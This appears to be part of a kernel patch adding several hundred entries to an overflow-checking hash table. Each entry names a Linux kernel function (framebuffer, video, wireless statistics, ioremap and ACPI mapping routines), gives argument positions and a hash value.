++_003405_hash ext_sd_execute_read_data 9 48589 _003405_hash NULL
++_003406_hash ext_sd_execute_write_data 9 8175 _003406_hash NULL
++_003407_hash fast_user_write 5 20494 _003407_hash NULL
++_003408_hash f_audio_buffer_alloc 1 41110 _003408_hash NULL
++_003409_hash fb_alloc_cmap_gfp 2 20792 _003409_hash NULL
++_003410_hash fbcon_do_set_font 2-3 4079 _003410_hash NULL
++_003412_hash fb_read 3 33506 _003412_hash NULL
++_003413_hash fb_sys_read 3 13778 _003413_hash NULL
++_003414_hash fb_sys_write 3 33130 _003414_hash NULL
++_003415_hash fb_write 3 46924 _003415_hash NULL
++_003416_hash firmwareUpload 3 32794 _003416_hash NULL
++_003417_hash fmc_send_cmd 5 20435 _003417_hash NULL
++_003418_hash fops_read 3 40672 _003418_hash NULL
++_003419_hash forced_ps_read 3 31685 _003419_hash NULL
++_003420_hash frame_alloc 4 15981 _003420_hash NULL
++_003421_hash framebuffer_alloc 1 59145 _003421_hash NULL
++_003422_hash ftrace_write 3 29551 _003422_hash NULL
++_003423_hash fw_download_code 3 13249 _003423_hash NULL
++_003424_hash fwSendNullPacket 2 54618 _003424_hash NULL
++_003425_hash gdm_wimax_netif_rx 3 43423 _003425_hash &_001810_hash
++_003426_hash get_vm_area 1 18080 _003426_hash NULL
++_003427_hash __get_vm_area 1 61599 _003427_hash NULL
++_003428_hash get_vm_area_caller 1 10527 _003428_hash NULL
++_003429_hash __get_vm_area_caller 1 56416 _003828_hash NULL nohasharray
++_003430_hash gspca_dev_probe2 4 59833 _003430_hash NULL
++_003431_hash hdpvr_read 3 9273 _003431_hash NULL
++_003432_hash hecubafb_write 3 26942 _003432_hash NULL
++_003433_hash i915_compat_ioctl 2 3656 _003433_hash NULL
++_003434_hash i915_gem_execbuffer_relocate_slow 7 25355 _003434_hash NULL
++_003435_hash ieee80211_alloc_txb 1-2 52477 _003435_hash NULL
++_003437_hash ieee80211_authentication_req 3 63973 _003437_hash NULL
++_003438_hash ieee80211_wx_set_gen_ie 3 51399 _003438_hash NULL
++_003439_hash ieee80211_wx_set_gen_ie_rsl 3 3521 _003458_hash NULL nohasharray
++_003440_hash intel_sdvo_set_value 4 2311 _003440_hash NULL
++_003441_hash ir_lirc_transmit_ir 3 64403 _003441_hash NULL
++_003442_hash irq_blk_threshold_read 3 33666 _003442_hash NULL
++_003443_hash irq_pkt_threshold_read 3 33356 _003443_hash &_000154_hash
++_003444_hash irq_timeout_read 3 54653 _003444_hash NULL
++_003445_hash ivtv_buf_copy_from_user 4 25502 _003445_hash NULL
++_003446_hash ivtv_copy_buf_to_user 4 6159 _003446_hash NULL
++_003447_hash ivtvfb_write 3 40023 _003447_hash NULL
++_003448_hash kgdb_hex2mem 3 24755 _003448_hash NULL
++_003449_hash lirc_buffer_init 2-3 53282 _003449_hash NULL
++_003451_hash lirc_write 3 20604 _003451_hash NULL
++_003452_hash mce_request_packet 3 1073 _003452_hash NULL
++_003453_hash media_entity_init 2-4 15870 _003453_hash &_001742_hash
++_003455_hash mem_fw_gen_free_mem_blks_read 3 11413 _003455_hash NULL
++_003456_hash mem_fwlog_free_mem_blks_read 3 59616 _003456_hash NULL
++_003457_hash mem_rx_free_mem_blks_read 3 675 _003457_hash NULL
++_003458_hash mem_tx_free_mem_blks_read 3 3521 _003458_hash &_003439_hash
++_003459_hash metronomefb_write 3 8823 _003459_hash NULL
++_003460_hash mga_compat_ioctl 2 52170 _003460_hash NULL
++_003461_hash mmio_read 4 40348 _003461_hash NULL
++_003462_hash netlink_send 5 38434 _003462_hash NULL
++_003463_hash nfc_hci_execute_cmd 5 43882 _003463_hash NULL
++_003464_hash nfc_hci_send_event 5 21452 _003464_hash NULL
++_003465_hash nfc_hci_send_response 5 56462 _003465_hash NULL
++_003466_hash ni_gpct_device_construct 5 610 _003466_hash NULL
++_003467_hash nouveau_compat_ioctl 2 28305 _003467_hash NULL
++_003468_hash odev_update 2 50169 _003468_hash NULL
++_003469_hash opera1_usb_i2c_msgxfer 4 64521 _003469_hash NULL
++_003470_hash OSDSetBlock 2-4 38986 _003470_hash NULL
++_003472_hash oz_add_farewell 5 20652 _003472_hash NULL
++_003473_hash oz_cdev_read 3 20659 _003473_hash NULL
++_003474_hash oz_cdev_write 3 33852 _003474_hash NULL
++_003475_hash oz_ep_alloc 2 5587 _003475_hash NULL
++_003476_hash oz_events_read 3 47535 _003476_hash NULL
++_003477_hash persistent_ram_buffer_map 1-2 11332 _003477_hash NULL
++_003479_hash pipeline_cs_rx_packet_in_read 3 37089 _003479_hash NULL
++_003480_hash pipeline_cs_rx_packet_out_read 3 58926 _003480_hash NULL
++_003481_hash pipeline_csum_to_rx_xfer_swi_read 3 15403 _003481_hash NULL
++_003482_hash pipeline_dec_packet_in_fifo_full_read 3 33052 _003482_hash NULL
++_003483_hash pipeline_dec_packet_in_read 3 47076 _003483_hash NULL
++_003484_hash pipeline_dec_packet_out_read 3 54052 _003484_hash NULL
++_003485_hash pipeline_defrag_to_csum_swi_read 3 63037 _003485_hash NULL
++_003486_hash pipeline_enc_rx_stat_fifo_int_read 3 7107 _003486_hash NULL
++_003487_hash pipeline_enc_tx_stat_fifo_int_read 3 14680 _003487_hash NULL
++_003488_hash pipeline_hs_tx_stat_fifo_int_read 3 15642 _003488_hash &_001260_hash
++_003489_hash pipeline_pipeline_fifo_full_read 3 34095 _003489_hash NULL
++_003490_hash pipeline_post_proc_swi_read 3 24108 _003490_hash NULL
++_003491_hash pipeline_pre_proc_swi_read 3 3898 _003491_hash NULL
++_003492_hash pipeline_pre_to_defrag_swi_read 3 56321 _003492_hash NULL
++_003493_hash pipeline_rx_complete_stat_fifo_int_read 3 40671 _003493_hash NULL
++_003494_hash pipeline_sec_frag_swi_read 3 30294 _003494_hash NULL
++_003495_hash pipeline_tcp_rx_stat_fifo_int_read 3 26745 _003495_hash NULL
++_003496_hash pipeline_tcp_tx_stat_fifo_int_read 3 32589 _003496_hash NULL
++_003497_hash play_iframe 3 8219 _003497_hash NULL
++_003498_hash probes_write 3 29711 _003498_hash NULL
++_003499_hash psb_unlocked_ioctl 2 16926 _003499_hash &_002668_hash
++_003500_hash ps_poll_ps_poll_max_ap_turn_read 3 53140 _003500_hash NULL
++_003501_hash ps_poll_ps_poll_timeouts_read 3 5934 _003501_hash NULL
++_003502_hash ps_poll_ps_poll_utilization_read 3 39383 _003502_hash NULL
++_003503_hash ps_poll_upsd_max_ap_turn_read 3 42050 _003503_hash NULL
++_003504_hash ps_poll_upsd_timeouts_read 3 36755 _003504_hash NULL
++_003505_hash ps_poll_upsd_utilization_read 3 28519 _003505_hash NULL
++_003506_hash pvr2_ioread_read 3 10720 _003506_hash &_001669_hash
++_003507_hash pvr2_ioread_set_sync_key 3 59882 _003507_hash NULL
++_003508_hash pvr2_stream_buffer_count 2 33719 _003508_hash NULL
++_003509_hash pwr_connection_out_of_sync_read 3 35061 _003509_hash NULL
++_003510_hash pwr_cont_miss_bcns_spread_read 3 39250 _003515_hash NULL nohasharray
++_003511_hash pwr_missing_bcns_cnt_read 3 45113 _003511_hash NULL
++_003512_hash pwr_rcvd_awake_bcns_cnt_read 3 12632 _003512_hash NULL
++_003513_hash pwr_rcvd_bcns_cnt_read 3 4774 _003513_hash NULL
++_003514_hash qc_capture 3 19298 _003514_hash NULL
++_003515_hash r128_compat_ioctl 2 39250 _003515_hash &_003510_hash
++_003516_hash radeon_compat_ioctl 2 59150 _003516_hash NULL
++_003517_hash radeon_kms_compat_ioctl 2 51371 _003517_hash NULL
++_003518_hash Realloc 2 34961 _003518_hash NULL
++_003519_hash redrat3_transmit_ir 3 64244 _003519_hash NULL
++_003520_hash reg_w_buf 3 27724 _003520_hash NULL
++_003521_hash reg_w_ixbuf 4 34736 _003521_hash NULL
++_003522_hash rtllib_alloc_txb 1-2 21687 _003522_hash NULL
++_003524_hash rtllib_authentication_req 3 26713 _003524_hash NULL
++_003525_hash rtllib_wx_set_gen_ie 3 59808 _003525_hash NULL
++_003526_hash rts51x_transfer_data_partial 6 5735 _003526_hash NULL
++_003527_hash rvmalloc 1 46873 _003527_hash NULL
++_003528_hash rx_decrypt_key_not_found_read 3 37820 _003528_hash NULL
++_003529_hash rx_defrag_called_read 3 1897 _003529_hash NULL
++_003530_hash rx_defrag_decrypt_failed_read 3 41411 _003530_hash NULL
++_003531_hash rx_defrag_init_called_read 3 35935 _003531_hash NULL
++_003532_hash rx_defrag_in_process_called_read 3 59338 _003532_hash NULL
++_003533_hash rx_defrag_need_decrypt_read 3 42253 _003533_hash NULL
++_003534_hash rx_defrag_need_defrag_read 3 28117 _003534_hash NULL
++_003535_hash rx_defrag_tkip_called_read 3 21031 _003535_hash NULL
++_003536_hash rx_filter_accum_arp_pend_requests_read 3 11003 _003536_hash NULL
++_003537_hash rx_filter_arp_filter_read 3 61914 _003537_hash NULL
++_003538_hash rx_filter_beacon_filter_read 3 49279 _003538_hash NULL
++_003539_hash rx_filter_data_filter_read 3 30098 _003539_hash NULL
++_003540_hash rx_filter_dup_filter_read 3 37238 _003540_hash NULL
++_003541_hash rx_filter_ibss_filter_read 3 50167 _003541_hash NULL
++_003542_hash rx_filter_max_arp_queue_dep_read 3 5851 _003542_hash NULL
++_003543_hash rx_filter_mc_filter_read 3 25712 _003543_hash NULL
++_003544_hash rx_filter_protection_filter_read 3 39282 _003544_hash NULL
++_003545_hash rx_rate_rx_frames_per_rates_read 3 7282 _003545_hash NULL
++_003546_hash rx_rx_beacon_early_term_read 3 21559 _003546_hash NULL
++_003547_hash rx_rx_checksum_result_read 3 50617 _003547_hash NULL
++_003548_hash rx_rx_cmplt_read 3 14753 _003548_hash NULL
++_003549_hash rx_rx_cmplt_task_read 3 35226 _003549_hash NULL
++_003550_hash rx_rx_defrag_end_read 3 505 _003550_hash NULL
++_003551_hash rx_rx_defrag_read 3 2010 _003551_hash NULL
++_003552_hash rx_rx_done_read 3 65217 _003552_hash NULL
++_003553_hash rx_rx_dropped_frame_read 3 23748 _003553_hash NULL
++_003554_hash rx_rx_frame_checksum_read 3 40140 _003554_hash NULL
++_003555_hash rx_rx_hdr_overflow_read 3 35002 _003555_hash NULL
++_003556_hash rx_rx_out_of_mpdu_nodes_read 3 64668 _003556_hash NULL
++_003557_hash rx_rx_phy_hdr_read 3 20950 _003557_hash NULL
++_003558_hash rx_rx_pre_complt_read 3 41653 _003558_hash NULL
++_003559_hash rx_rx_timeout_read 3 62389 _003559_hash NULL
++_003560_hash rx_rx_timeout_wa_read 3 50204 _003560_hash NULL
++_003561_hash rx_rx_tkip_replays_read 3 60193 _003561_hash NULL
++_003562_hash rx_rx_wa_ba_not_expected_read 3 61341 _003562_hash NULL
++_003563_hash rx_rx_wa_density_dropped_frame_read 3 26095 _003563_hash NULL
++_003564_hash rx_streaming_always_read 3 49401 _003564_hash NULL
++_003565_hash rx_streaming_interval_read 3 55291 _003565_hash NULL
++_003566_hash saa7164_buffer_alloc_user 2 9627 _003566_hash NULL
++_003567_hash send_control_msg 6 48498 _003567_hash NULL
++_003568_hash SendTxCommandPacket 3 42901 _003568_hash NULL
++_003569_hash setup_window 2-7-5-4 59178 _003569_hash NULL
++_003573_hash shmem_pwrite_fast 3 46842 _003573_hash NULL
++_003574_hash sleep_auth_read 3 19159 _003574_hash NULL
++_003575_hash sn9c102_read 3 29305 _003575_hash NULL
++_003576_hash snd_pcm_alloc_vmalloc_buffer 2 44595 _003576_hash NULL
++_003577_hash split_scan_timeout_read 3 20029 _003577_hash NULL
++_003578_hash stk_prepare_sio_buffers 2 57168 _003578_hash NULL
++_003579_hash store_debug_level 3 35652 _003579_hash NULL
++_003580_hash suspend_dtim_interval_read 3 64971 _003580_hash NULL
++_003581_hash sys_prctl 4 8766 _003581_hash NULL
++_003582_hash tm6000_read_write_usb 7 50774 _003582_hash &_002149_hash
++_003583_hash tracing_read_pipe 3 35312 _003583_hash NULL
++_003584_hash ts_read 3 44687 _003584_hash NULL
++_003585_hash ts_write 3 64336 _003585_hash NULL
++_003586_hash tt3650_ci_msg 4 57219 _003586_hash NULL
++_003587_hash ttm_object_device_init 2 10321 _003587_hash NULL
++_003588_hash ttm_object_file_init 2 27804 _003588_hash NULL
++_003589_hash tx_frag_bad_mblk_num_read 3 28064 _003589_hash NULL
++_003590_hash tx_frag_cache_hit_read 3 29639 _003590_hash NULL
++_003591_hash tx_frag_cache_miss_read 3 28394 _003591_hash NULL
++_003592_hash tx_frag_called_read 3 1748 _003592_hash NULL
++_003593_hash tx_frag_failed_read 3 43540 _003593_hash NULL
++_003594_hash tx_frag_init_called_read 3 48377 _003594_hash NULL
++_003595_hash tx_frag_in_process_called_read 3 1290 _003595_hash NULL
++_003596_hash tx_frag_key_not_found_read 3 22971 _003596_hash NULL
++_003597_hash tx_frag_mpdu_alloc_failed_read 3 41167 _003597_hash NULL
++_003598_hash tx_frag_need_fragmentation_read 3 50153 _003598_hash NULL
++_003599_hash tx_frag_tkip_called_read 3 31575 _003599_hash NULL
++_003600_hash tx_tx_burst_programmed_read 3 20320 _003600_hash NULL
++_003601_hash tx_tx_checksum_result_read 3 36490 _003601_hash &_001996_hash
++_003602_hash tx_tx_cmplt_read 3 35854 _003602_hash NULL
++_003603_hash tx_tx_data_prepared_read 3 43497 _003603_hash NULL
++_003604_hash tx_tx_data_programmed_read 3 36871 _003604_hash NULL
++_003605_hash tx_tx_done_data_read 3 6799 _003605_hash NULL
++_003606_hash tx_tx_done_int_template_read 3 55511 _003606_hash &_001887_hash
++_003607_hash tx_tx_done_template_read 3 35104 _003607_hash &_000106_hash
++_003608_hash tx_tx_exch_expiry_read 3 8749 _003608_hash NULL
++_003609_hash tx_tx_exch_pending_read 3 53018 _003609_hash NULL
++_003610_hash tx_tx_exch_read 3 52986 _003610_hash NULL
++_003611_hash tx_tx_frame_checksum_read 3 41553 _003611_hash NULL
++_003612_hash tx_tx_imm_resp_read 3 55964 _003612_hash NULL
++_003613_hash tx_tx_prepared_descs_read 3 9221 _003613_hash NULL
++_003614_hash tx_tx_retry_data_read 3 1926 _003614_hash NULL
++_003615_hash tx_tx_retry_template_read 3 57623 _003615_hash NULL
++_003616_hash tx_tx_start_data_read 3 53219 _003616_hash NULL
++_003617_hash tx_tx_start_fw_gen_read 3 58648 _003617_hash NULL
++_003618_hash tx_tx_start_int_templates_read 3 58324 _003618_hash NULL
++_003619_hash tx_tx_start_null_frame_read 3 6281 _003619_hash NULL
++_003620_hash tx_tx_starts_read 3 3617 _003620_hash NULL
++_003621_hash tx_tx_start_templates_read 3 17164 _003621_hash NULL
++_003622_hash tx_tx_template_prepared_read 3 30424 _003622_hash NULL
++_003623_hash tx_tx_template_programmed_read 3 30461 _003623_hash NULL
++_003624_hash udi_log_event 3 58105 _003624_hash NULL
++_003625_hash udl_prime_create 2 57159 _003625_hash NULL
++_003626_hash uf_create_device_nodes 2 24948 _003626_hash NULL
++_003627_hash uf_sme_queue_message 3 15697 _003627_hash NULL
++_003628_hash ufx_alloc_urb_list 3 10349 _003628_hash NULL
++_003629_hash unifi_net_data_malloc 3 24716 _003629_hash NULL
++_003630_hash unifi_read 3 14899 _003630_hash NULL
++_003631_hash unifi_write 3 65012 _003631_hash NULL
++_003632_hash usb_buffer_alloc 2 36276 _003632_hash NULL
++_003633_hash usbvision_rvmalloc 1 19655 _003633_hash NULL
++_003634_hash usbvision_v4l2_read 3 34386 _003634_hash NULL
++_003635_hash uvc_alloc_buffers 2-3 9656 _003635_hash NULL
++_003637_hash uvc_alloc_entity 3-4 20836 _003637_hash NULL
++_003639_hash uvc_debugfs_stats_read 3 56651 _003639_hash NULL
++_003640_hash uvc_simplify_fraction 3 31303 _003640_hash NULL
++_003641_hash v4l2_ctrl_new 7 24927 _003641_hash NULL
++_003642_hash v4l2_event_subscribe 3 53687 _003642_hash NULL
++_003643_hash v4l_stk_read 3 39672 _003643_hash NULL
++_003644_hash __vb2_perform_fileio 3 63033 _003644_hash NULL
++_003645_hash vfd_write 3 14717 _003645_hash NULL
++_003646_hash vfio_config_do_rw 3 46091 _003646_hash NULL
++_003647_hash vfio_msi_enable 2 20906 _003647_hash NULL
++_003648_hash viafb_dvp0_proc_write 3 23023 _003648_hash NULL
++_003649_hash viafb_dvp1_proc_write 3 48864 _003649_hash NULL
++_003650_hash viafb_vt1636_proc_write 3 16018 _003650_hash NULL
++_003651_hash __videobuf_alloc_vb 1 27062 _003651_hash NULL
++_003652_hash __videobuf_alloc_vb 1 5665 _003652_hash NULL
++_003653_hash __videobuf_copy_to_user 4 15423 _003653_hash NULL
++_003654_hash videobuf_dma_init_kernel 3 6963 _003654_hash NULL
++_003655_hash videobuf_pages_to_sg 2 3708 _003655_hash NULL
++_003656_hash videobuf_vmalloc_to_sg 2 4548 _003656_hash NULL
++_003657_hash video_usercopy 2 62151 _003657_hash NULL
++_003658_hash virtscsi_alloc_tgt 2 6643 _003658_hash NULL
++_003659_hash vmw_cursor_update_image 3-4 16332 _003659_hash NULL
++_003661_hash vmw_framebuffer_dmabuf_dirty 6 37661 _003661_hash &_001116_hash
++_003662_hash vmw_framebuffer_surface_dirty 6 48132 _003662_hash NULL
++_003663_hash vmw_gmr2_bind 3 21305 _003663_hash NULL
++_003664_hash vmw_unlocked_ioctl 2 19212 _003664_hash NULL
++_003665_hash w9966_v4l_read 3 31148 _003665_hash NULL
++_003666_hash wl1273_fm_fops_write 3 60621 _003666_hash NULL
++_003667_hash zoran_write 3 22404 _003667_hash NULL
++_003668_hash alloc_vm_area 1 15989 _003668_hash NULL
++_003669_hash cx18_copy_mdl_to_user 4 45549 _003669_hash NULL
++_003670_hash dlfb_ops_write 3 64150 _003670_hash NULL
++_003671_hash dvb_demux_read 3 13981 _003671_hash NULL
++_003672_hash dvb_dmxdev_read_sec 4 7892 _003672_hash NULL
++_003673_hash dvb_dvr_read 3 17073 _003673_hash NULL
++_003674_hash em28xx_init_isoc 4 62883 _003674_hash &_000729_hash
++_003675_hash fb_alloc_cmap 2 6554 _003675_hash NULL
++_003676_hash gspca_dev_probe 4 2570 _003676_hash NULL
++_003677_hash ieee80211_auth_challenge 3 18810 _003677_hash NULL
++_003678_hash ieee80211_rtl_auth_challenge 3 61897 _003678_hash NULL
++_003679_hash init_pci_cap_msi_perm 2 59033 _003679_hash NULL
++_003680_hash __ioremap_caller 1-2 21800 _003680_hash NULL
++_003682_hash ivtv_read 3 57796 _003682_hash NULL
++_003683_hash ivtv_v4l2_write 3 39226 _003683_hash NULL
++_003684_hash mce_async_out 3 58056 _003684_hash NULL
++_003685_hash mce_flush_rx_buffer 2 14976 _003685_hash NULL
++_003686_hash ms_read_multiple_pages 4-5 8052 _003686_hash NULL
++_003688_hash ms_write_multiple_pages 5-6 10362 _003688_hash NULL
++_003690_hash nfc_hci_send_cmd 5 55714 _003690_hash NULL
++_003691_hash persistent_ram_new 1-2 40501 _003691_hash NULL
++_003693_hash picolcd_fb_write 3 2318 _003693_hash NULL
++_003694_hash process_bulk_data_command 4 38906 _003694_hash NULL
++_003695_hash pvr2_v4l2_read 3 18006 _003695_hash NULL
++_003696_hash qcam_read 3 13977 _003696_hash NULL
++_003697_hash register_unifi_sdio 2 55239 _003697_hash NULL
++_003698_hash resize_async_buffer 4 64031 _003698_hash &_002431_hash
++_003699_hash rtllib_auth_challenge 3 12493 _003699_hash NULL
++_003702_hash stk_allocate_buffers 2 16291 _003702_hash NULL
++_003703_hash subdev_ioctl 2 28417 _003703_hash NULL
++_003704_hash _sys_packet_req 4 46793 _003704_hash NULL
++_003705_hash tm6000_i2c_recv_regs16 5 2949 _003705_hash NULL
++_003706_hash tm6000_i2c_recv_regs 5 46215 _003706_hash NULL
++_003707_hash tm6000_i2c_send_regs 5 20250 _003707_hash NULL
++_003708_hash tt3650_ci_msg_locked 4 8013 _003708_hash NULL
++_003709_hash ufx_ops_write 3 54848 _003709_hash NULL
++_003710_hash update_macheader 7 1775 _003710_hash NULL
++_003711_hash usbdux_attach_common 4 51764 _003750_hash NULL nohasharray
++_003712_hash usbduxfast_attach_common 4 52538 _003712_hash NULL
++_003713_hash usbduxsigma_attach_common 4 40847 _003713_hash NULL
++_003714_hash uvc_v4l2_ioctl 2 8411 _003714_hash NULL
++_003715_hash v4l2_ctrl_new_int_menu 4 41151 _003715_hash NULL
++_003716_hash v4l2_ctrl_new_std 5 45748 _003716_hash &_000497_hash
++_003717_hash v4l2_ctrl_new_std_menu 4 6221 _003717_hash NULL
++_003718_hash vb2_read 3 42703 _003718_hash NULL
++_003719_hash vb2_write 3 31948 _003719_hash NULL
++_003720_hash vfio_pci_set_msi_trigger 3-4 26507 _003720_hash NULL
++_003722_hash viafb_iga1_odev_proc_write 3 36241 _003722_hash NULL
++_003723_hash viafb_iga2_odev_proc_write 3 2363 _003723_hash NULL
++_003724_hash __videobuf_alloc_cached 1 12740 _003724_hash NULL
++_003725_hash __videobuf_alloc_uncached 1 55711 _003725_hash NULL
++_003726_hash __videobuf_copy_stream 4 44769 _003726_hash NULL
++_003727_hash videobuf_read_one 3 31637 _003727_hash NULL
++_003728_hash video_ioctl2 2 21380 _003728_hash NULL
++_003729_hash vmap 2 15025 _003729_hash NULL
++_003730_hash vmw_cursor_update_dmabuf 3-4 32045 _003730_hash NULL
++_003732_hash vmw_gmr_bind 3 44130 _003732_hash NULL
++_003733_hash xd_read_multiple_pages 4-5 11422 _003733_hash NULL
++_003735_hash xd_write_multiple_pages 5-6 53633 _003735_hash NULL
++_003737_hash xenfb_write 3 43412 _003737_hash NULL
++_003738_hash arch_gnttab_map_shared 3 41306 _003738_hash NULL
++_003739_hash arch_gnttab_map_status 3 49812 _003739_hash NULL
++_003740_hash bttv_read 3 11432 _003740_hash NULL
++_003741_hash cx18_read 3 23699 _003741_hash NULL
++_003742_hash cx2341x_ctrl_new_menu 3 49700 _003742_hash NULL
++_003743_hash cx2341x_ctrl_new_std 4 57061 _003743_hash NULL
++_003744_hash cx25821_video_ioctl 2 30188 _003744_hash NULL
++_003745_hash dt3155_read 3 59226 _003745_hash NULL
++_003746_hash ioremap_cache 1-2 47189 _003746_hash NULL
++_003748_hash ioremap_nocache 1-2 2439 _003748_hash NULL
++_003750_hash ioremap_prot 1-2 51764 _003750_hash &_003711_hash
++_003752_hash ioremap_wc 1-2 62695 _003752_hash NULL
++_003754_hash ivtv_read_pos 3 34400 _003754_hash &_000312_hash
++_003755_hash mcam_v4l_read 3 36513 _003755_hash NULL
++_003756_hash ms_rw_multi_sector 3-4 7459 _003756_hash NULL
++_003758_hash pvr2_v4l2_ioctl 2 24398 _003758_hash &_000877_hash
++_003759_hash ramoops_init_prz 5 12134 _003759_hash NULL
++_003761_hash ttm_bo_kmap_ttm 3 5922 _003761_hash NULL
++_003762_hash uf_ap_process_data_pdu 7 25860 _003762_hash NULL
++_003763_hash vb2_fop_read 3 24080 _003763_hash NULL
++_003764_hash vb2_fop_write 3 30420 _003764_hash NULL
++_003765_hash videobuf_read_stream 3 14956 _003765_hash NULL
++_003766_hash video_read 3 28148 _003766_hash NULL
++_003767_hash vmw_du_crtc_cursor_set 4-5 28479 _003767_hash NULL
++_003769_hash xd_rw 3-4 49020 _003769_hash NULL
++_003771_hash zoran_ioctl 2 30465 _003771_hash NULL
++_003772_hash zr364xx_read 3 2354 _003772_hash NULL
++_003773_hash acpi_os_ioremap 1-2 49523 _003773_hash NULL
++_003775_hash au0828_v4l2_read 3 40220 _003775_hash NULL
++_003776_hash ca91cx42_alloc_resource 2 10502 _003776_hash NULL
++_003778_hash cx18_read_pos 3 4683 _003778_hash NULL
++_003779_hash cx18_v4l2_read 3 21196 _003779_hash NULL
++_003780_hash cx231xx_v4l2_read 3 55014 _003780_hash NULL
++_003781_hash devm_ioremap_nocache 2-3 2036 _003781_hash NULL
++_003783_hash do_test 1 15766 _003783_hash NULL
++_003784_hash __einj_error_trigger 1 17707 _003784_hash &_001764_hash
++_003785_hash em28xx_v4l2_read 3 16701 _003785_hash NULL
++_003786_hash init_chip_wc_pat 2 62768 _003786_hash NULL
++_003787_hash intel_render_ring_init_dri 2-3 45446 _003787_hash NULL
++_003789_hash io_mapping_create_wc 1-2 1354 _003789_hash NULL
++_003791_hash iommu_map_mmio_space 1 30919 _003791_hash NULL
++_003792_hash ioremap 1-2 23172 _003792_hash NULL
++_003794_hash ivtv_v4l2_read 3 1964 _003794_hash NULL
++_003795_hash mga_ioremap 1-2 8571 _003795_hash NULL
++_003797_hash mpeg_read 3 6708 _003797_hash NULL
++_003798_hash msix_map_region 3 3411 _003798_hash NULL
++_003799_hash ms_rw 3-4 17220 _003799_hash NULL
++_003801_hash pci_iomap 3 47575 _003801_hash NULL
++_003802_hash pd_video_read 3 24510 _003802_hash NULL
++_003803_hash sfi_map_memory 1-2 5183 _003803_hash NULL
++_003805_hash solo_enc_read 3 33553 _003805_hash NULL
++_003806_hash solo_v4l2_read 3 59247 _003806_hash NULL
++_003807_hash timblogiw_read 3 48305 _003807_hash NULL
++_003808_hash tm6000_read 3 4151 _003808_hash NULL
++_003809_hash tsi148_alloc_resource 2 24563 _003809_hash NULL
++_003810_hash ttm_bo_ioremap 2-3 31082 _003810_hash NULL
++_003812_hash ttm_bo_kmap 3-2 60118 _003812_hash NULL
++_003813_hash vb2_vmalloc_get_userptr 3 31374 _003813_hash NULL
++_003814_hash vbi_read 3 63673 _003814_hash NULL
++_003815_hash viacam_read 3 54526 _003815_hash NULL
++_003816_hash xlate_dev_mem_ptr 1 15291 _003816_hash &_001231_hash
++_003817_hash a4t_cs_init 3 27734 _003817_hash NULL
++_003818_hash aac_nark_ioremap 2 50163 _003818_hash &_000323_hash
++_003819_hash aac_rkt_ioremap 2 3333 _003819_hash NULL
++_003820_hash aac_rx_ioremap 2 52410 _003820_hash NULL
++_003821_hash aac_sa_ioremap 2 13596 _003821_hash &_000299_hash
++_003822_hash aac_src_ioremap 2 41688 _003822_hash NULL
++_003823_hash aac_srcv_ioremap 2 6659 _003823_hash NULL
++_003824_hash acpi_map 1-2 58725 _003824_hash NULL
++_003826_hash acpi_os_read_memory 1-3 54186 _003826_hash NULL
++_003828_hash acpi_os_write_memory 1-3 56416 _003828_hash &_003429_hash
++_003830_hash atyfb_setup_generic 3 49151 _003830_hash NULL
++_003831_hash ca91cx42_master_set 4 23146 _003831_hash NULL
++_003832_hash check_mirror 1-2 57342 _003832_hash &_001753_hash
++_003834_hash cycx_setup 4 47562 _003834_hash NULL
++_003835_hash devm_ioremap 2-3 29235 _003835_hash NULL
++_003837_hash divasa_remap_pci_bar 3-4 23485 _003837_hash &_000979_hash
++_003839_hash doc_probe 1 23285 _003839_hash NULL
++_003840_hash DoC_Probe 1 57534 _003840_hash NULL
++_003841_hash efi_ioremap 1-2 3492 _003841_hash &_001137_hash
++_003843_hash ems_pcmcia_add_card 2 62627 _003843_hash NULL
++_003844_hash isp1760_register 1-2 628 _003844_hash NULL
++_003846_hash mid_get_vbt_data_r0 2 10876 _003846_hash NULL
++_003847_hash mid_get_vbt_data_r10 2 6308 _003847_hash NULL
++_003848_hash mid_get_vbt_data_r1 2 26170 _003848_hash NULL
++_003849_hash mthca_map_reg 2-3 5664 _003849_hash NULL
++_003851_hash mthca_setup_cmd_doorbells 2 53954 _003851_hash NULL
++_003852_hash netxen_nic_map_indirect_address_128M 2 42257 _003852_hash NULL
++_003853_hash pcim_iomap 3 58334 _003853_hash NULL
++_003854_hash persistent_ram_iomap 1-2 47156 _003854_hash NULL
++_003856_hash read_vbt_r0 1 503 _003856_hash NULL
++_003857_hash read_vbt_r10 1 60679 _003857_hash NULL
++_003858_hash register_device 2-3 60015 _003858_hash NULL
++_003860_hash remap_pci_mem 1-2 15966 _003860_hash NULL
++_003862_hash rtl_port_map 1-2 2385 _003862_hash NULL
++_003864_hash sfi_map_table 1 5462 _003864_hash NULL
++_003865_hash sriov_enable_migration 2 14889 _003865_hash NULL
++_003866_hash ssb_bus_scan 2 36578 _003866_hash NULL
++_003867_hash ssb_ioremap 2 5228 _003867_hash NULL
++_003868_hash tpci200_slot_map_space 2 3848 _003868_hash NULL
++_003869_hash tpm_tis_init 2-3 15304 _003869_hash NULL
++_003871_hash tsi148_master_set 4 14685 _003871_hash NULL
++_003872_hash acpi_os_map_memory 1-2 11161 _003872_hash NULL
++_003874_hash com90xx_found 3 13974 _003874_hash NULL
++_003875_hash netxen_nic_hw_read_wx_128M 2 26858 _003875_hash NULL
++_003876_hash netxen_nic_hw_write_wx_128M 2 33488 _003876_hash NULL
++_003877_hash sfi_check_table 1 6772 _003877_hash NULL
++_003878_hash sfi_sysfs_install_table 1 51688 _003878_hash NULL
++_003879_hash sriov_enable 2 59689 _003879_hash NULL
++_003880_hash ssb_bus_register 3 65183 _003880_hash NULL
++_003881_hash acpi_ex_system_memory_space_handler 2 31192 _003881_hash NULL
++_003882_hash acpi_tb_check_xsdt 1 21862 _003882_hash NULL
++_003883_hash acpi_tb_install_table 1 12988 _003883_hash NULL
++_003884_hash acpi_tb_parse_root_table 1 53455 _003884_hash NULL
++_003885_hash check_vendor_extension 1 3254 _003885_hash NULL
++_003886_hash pci_enable_sriov 2 35745 _003886_hash NULL
++_003887_hash ssb_bus_pcmciabus_register 3 56020 _003887_hash NULL
++_003888_hash ssb_bus_ssbbus_register 2 2217 _003888_hash NULL
++_003889_hash lpfc_sli_probe_sriov_nr_virtfn 2 26004 _003889_hash NULL
++_003890_hash alloc_vm_area 1 36149 _003890_hash NULL
++_003891_hash cma_create_area 2 38642 _003891_hash NULL
++_003893_hash fbcon_prepare_logo 5 6246 _003893_hash NULL
++_003894_hash io_mapping_map_wc 2 19284 _003894_hash NULL
++_003895_hash nfs_dns_resolve_name 3 25036 _003895_hash NULL
